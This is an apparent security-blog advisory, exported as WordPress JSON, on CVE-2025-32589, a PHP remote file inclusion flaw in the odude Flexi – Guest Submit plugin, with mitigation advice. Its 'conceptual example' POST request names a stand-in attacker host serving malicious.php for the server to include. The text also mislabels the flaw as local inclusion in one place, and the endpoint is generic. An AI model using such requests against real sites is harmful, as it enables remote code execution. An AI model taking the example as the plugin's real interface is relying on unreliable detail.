{"id":28980,"date":"2025-04-22T11:42:29","date_gmt":"2025-04-22T11:42:29","guid":{"rendered":""},"modified":"2025-05-15T23:18:21","modified_gmt":"2025-05-15T23:18:21","slug":"cve-2025-32589-php-remote-file-inclusion-vulnerability-in-odude-flexi-guest-submit","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32589-php-remote-file-inclusion-vulnerability-in-odude-flexi-guest-submit\/","title":{"rendered":"CVE-2025-32589: PHP Remote File Inclusion Vulnerability in odude Flexi \u2013 Guest Submit<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposures (CVE) program has identified a significant security vulnerability labeled CVE-2025-32589. This particular vulnerability affects the odude Flexi – Guest Submit, a popular PHP platform used by numerous organizations. This issue is significant as it allows PHP Local File Inclusion, potentially leading<\/a> to system compromise or data leakage. Understanding and mitigating this vulnerability is essential, considering its high severity score and the potential impact on the affected systems<\/a>.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-32589
\nSeverity: High (8.1 CVSS score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise<\/a> or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

odude Flexi – Guest Submit | n\/a through 4.28<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of an improper control<\/a> of filename for an include\/require statement in the PHP program. This flaw allows an attacker to include a file from a remote<\/a> server, which could potentially contain malicious PHP code. Once the malicious code is included and executed, it can lead to various outcomes including system compromise or data leakage<\/a>.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The vulnerability might be exploited<\/a> using a simple HTTP request like the one shown below. The example shows a POST request to a vulnerable<\/a> endpoint, with the attacker including a malicious payload in the request body.<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ \"include_file\": \"http:\/\/attacker.com\/malicious.php\" }<\/code><\/pre>\n
In this example, `http:\/\/attacker.com\/malicious.php` would be a PHP file<\/a> controlled by the attacker, containing malicious PHP code designed to compromise the system or leak data.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
To mitigate this vulnerability, it is highly recommended to apply vendor patches as soon as they are available. In the meantime, or in case a patch is not available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can block or alert on attempts to exploit this vulnerability<\/a>, reducing the potential risk. However, they are not a permanent solution and do not fix the underlying issue, so they should be used in conjunction with regular patching and update practices.<\/p>\n","protected":false},"excerpt":{"rendered":"
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